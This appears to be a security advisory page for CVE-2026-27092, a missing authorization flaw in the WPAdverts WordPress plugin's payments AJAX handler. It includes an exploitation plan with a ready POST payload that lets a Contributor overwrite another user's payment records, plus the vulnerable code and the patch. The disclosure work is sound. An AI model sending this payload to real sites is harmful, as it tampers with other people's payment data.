CVE-2026-27092

WPAdverts – Classifieds Plugin <= 2.3.0 - Missing Authorization

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
2.3.1
Patched in
99d
Time to patch

Description

The WPAdverts – Classifieds Plugin plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 2.3.0. This makes it possible for authenticated attackers, with contributor-level access and above, to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.3.0
PublishedJanuary 7, 2026
Last updatedApril 15, 2026
Affected pluginwpadverts

What Changed in the Fix

Changes introduced in v2.3.1

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-27092 ## 1. Vulnerability Summary The **WPAdverts – Classifieds Plugin** (versions <= 2.3.0) contains a missing authorization vulnerability in its Payments module. Specifically, the AJAX function `adext_payments_ajax_render` fails to implement any capability …

Show full research plan

Exploitation Research Plan - CVE-2026-27092

1. Vulnerability Summary

The WPAdverts – Classifieds Plugin (versions <= 2.3.0) contains a missing authorization vulnerability in its Payments module. Specifically, the AJAX function adext_payments_ajax_render fails to implement any capability checks (e.g., current_user_can) or ownership verification. This allows authenticated users with low-level privileges (Contributor and above) to modify the metadata and status of any adverts-payment post record by providing a valid payment_id.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: adext_payments_render
  • Vulnerable Function: adext_payments_ajax_render in addons/payments/includes/ajax.php
  • Authentication: Authenticated (Contributor level and above). Note: While wp_ajax_nopriv_ is registered, the vulnerability description specifies Contributor+, likely due to the typical visibility of payment_id values.
  • Payload Parameters:
    • action: adext_payments_render
    • payment_id: The ID of a target adverts-payment post.
    • gateway: A registered payment gateway name (e.g., bank_transfer).
    • form: An array of payment data (e.g., adverts_person, adverts_email).

3. Code Flow

  1. Entry Point: The plugin registers the AJAX action in addons/payments/includes/ajax.php:
    add_action('wp_ajax_adext_payments_render', 'adext_payments_ajax_render');
    
  2. Input Processing: adext_payments_ajax_render() retrieves the payment_id and gateway from the $_REQUEST.
  3. Missing Authorization: The function proceeds directly to process the payment update without checking if the current user owns the payment or has edit_posts capabilities for the adverts-payment post type.
  4. Modification: The code executes wp_update_post and several update_post_meta calls:
    wp_update_post( array(
        'ID' => $payment_id,
        'post_title' => $form->get_value( "adverts_person" ),
        'post_status' => 'pending' // Forces status change
    ) );
    update_post_meta( $payment_id, 'adverts_person', $form->get_value('adverts_person') );
    update_post_meta( $payment_id, 'adverts_email', $form->get_value('adverts_email') );
    
  5. Result: Any adverts-payment record can be modified by an unauthorized user.

4. Nonce Acquisition Strategy

Review of addons/payments/includes/ajax.php and addons/payments/assets/js/payments.js confirms that no nonce check is implemented for the adext_payments_render action. The PHP function does not call check_ajax_referer or wp_verify_nonce. Therefore, no nonce acquisition is required for exploitation.

5. Test Data Setup

  1. Activate Payments: Ensure the "Payments" module is enabled in WPAdverts settings.
  2. Create Pricing: Ensure at least one pricing exists (e.g., "Premium").
  3. Create a Target Payment:
    • As an Admin, create a new adverts-payment post (via WP-CLI or UI).
    • Set the initial status to completed or failed.
    • Set initial meta: adverts_person = "Original Buyer", adverts_email = "original@example.com".
    • Record the payment_id.
  4. Create Attacker User: Create a user with the Contributor role.

6. Exploitation Strategy

The goal is to modify a payment record owned by another user (the Admin) using the Contributor account.

  1. Authentication: Log in as the Contributor user.
  2. Request: Use the http_request tool to send a POST request to admin-ajax.php.
  3. Payload:
    • action=adext_payments_render
    • gateway=bank_transfer (The most common default gateway in WPAdverts)
    • payment_id=[TARGET_PAYMENT_ID]
    • form[0][name]=adverts_person
    • form[0][value]=Attacker Managed
    • form[1][name]=adverts_email
    • form[1][value]=attacker@example.com

HTTP Request Details:

  • Method: POST
  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Content-Type: application/x-www-form-urlencoded
  • Body: action=adext_payments_render&gateway=bank_transfer&payment_id=[ID]&form%5B0%5D%5Bname%5D=adverts_person&form%5B0%5D%5Bvalue%5D=Attacker+Managed&form%5B1%5D%5Bname%5D=adverts_email&form%5B1%5D%5Bvalue%5D=attacker%40example.com

7. Expected Results

  • The server should return a JSON response (likely {"result": 1, ...} depending on the gateway's render callback).
  • The adverts-payment post's status should change to pending.
  • The post meta adverts_person and adverts_email should be updated to the attacker's values.

8. Verification Steps

After the HTTP request, verify the database state using WP-CLI:

  1. Check Status: wp post get [ID] --field=post_status
    • Expected: pending
  2. Check Meta: wp post meta list [ID] --keys=adverts_person,adverts_email

9. Alternative Approaches

If the bank_transfer gateway is not active, look for other registered gateways. You can identify active gateways by checking the adext_payments_config option or by visiting a page containing the [adverts_add] shortcode and inspecting the data-tab attributes on the payment tabs (see addons/payments/templates/add-payment.php).

If the form validation fails, you may need to include additional fields in the form array. Check addons/payments/includes/ajax.php: the function loads the form using $gateway["form"]["payment_form"]. If a gateway requires more fields (like a phone number or address), those must be included in the form parameter array to pass $form->validate().

Research Findings
Static analysis — not yet PoC-verified

Summary

The WPAdverts plugin for WordPress is vulnerable to unauthorized modification of payment records because the `adext_payments_ajax_render` function lacks ownership verification and nonce checks. This allows authenticated attackers with Contributor-level access to change the status and contact metadata (name and email) of any `adverts-payment` post by providing its ID.

Vulnerable Code

// addons/payments/includes/ajax.php:6-7
add_action('wp_ajax_adext_payments_render', 'adext_payments_ajax_render');
add_action('wp_ajax_nopriv_adext_payments_render', 'adext_payments_ajax_render');

// addons/payments/includes/ajax.php:23
function adext_payments_ajax_render() {
    
    $is_block = absint( adverts_request( "is_block" ) );

    $gateway_name = adverts_request('gateway');
    $gateway = adext_payment_gateway_get( $gateway_name );
    
    $payment_id = absint( adverts_request( "payment_id" ) );
    $listing_id = get_post_meta( $payment_id, "_adverts_pricing_id", true );

    // ... (omitted form binding logic)

    if( isset( $data["bind" ] ) && !empty( $data["bind"] ) ) {
        
        $isValid = $form->validate();
        
        if($isValid) {
            
            $price = get_post_meta( $payment_id, "_adverts_payment_total", true );
            
            $data["price"] = $price;
            $data["form"] = $form->get_values();
            $data["payment_id"] = $payment_id;
            
            wp_update_post( array(
                'ID' => $payment_id,
                'post_title' => $form->get_value( "adverts_person" ),
                'post_status' => 'pending'
            ) );
            
            update_post_meta( $payment_id, 'adverts_person', $form->get_value('adverts_person') );
            update_post_meta( $payment_id, 'adverts_email', $form->get_value('adverts_email') );
            update_post_meta( $payment_id, '_adverts_payment_gateway', $data["gateway_name"] );
            
            $data = apply_filters("adverts_payments_order_create", $data);
            
            $response = call_user_func( $gateway["callback"]["render"], $data );
        } 
    }
    // ...
}

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/wpadverts/2.3.0/addons/payments/includes/ajax.php	2022-07-21 10:28:08.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wpadverts/2.3.1/addons/payments/includes/ajax.php	2026-04-13 09:42:46.000000000 +0000
@@ -27,7 +27,37 @@
     
     $payment_id = absint( adverts_request( "payment_id" ) );
     $listing_id = get_post_meta( $payment_id, "_adverts_pricing_id", true );
+    $object_id = adverts_request( "object_id" );
     
+    $nonce = sprintf( "adext-payment-%d-%d-%d", $payment_id, $listing_id, $object_id );
+
+    if( ! wp_verify_nonce( adverts_request( "nonce" ), $nonce ) ) {
+        echo json_encode([
+            "result" => 0,
+            "html" => sprintf('<div>%s</div>', __("Incorrect user nonce.","wpadverts")),
+            "execute" => null
+        ]);
+        exit;
+    }
+
+    if( get_post_type( $payment_id ) !== "adverts-payment" ) {
+        echo json_encode([
+            "result" => 0,
+            "html" => sprintf('<div>%s</div>', __("Incorrect object type.","wpadverts")),
+            "execute" => null
+        ]);
+        exit;
+    }
+
+    if( absint( get_post( $payment_id )->post_author ) !== absint( get_current_user_id() ) ) {
+        echo json_encode([
+            "result" => 0,
+            "html" => sprintf('<div>%s</div>', __("You do not own this payment.","wpadverts")),
+            "execute" => null
+        ]);
+        exit;
+    }
+
     $response = null;
... (truncated)

Exploit Outline

An attacker authenticated with at least Contributor-level privileges can modify any payment record by sending an un-nonced POST request to `/wp-admin/admin-ajax.php`. By setting the `action` parameter to `adext_payments_render` and providing a valid `payment_id` belonging to another user, the attacker can supply a `form` array containing keys like `adverts_person` and `adverts_email`. The vulnerable server-side function, `adext_payments_ajax_render`, will execute `wp_update_post` and `update_post_meta` to change the record's status to 'pending' and update its metadata with the attacker's values without performing any authorization or ownership checks.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.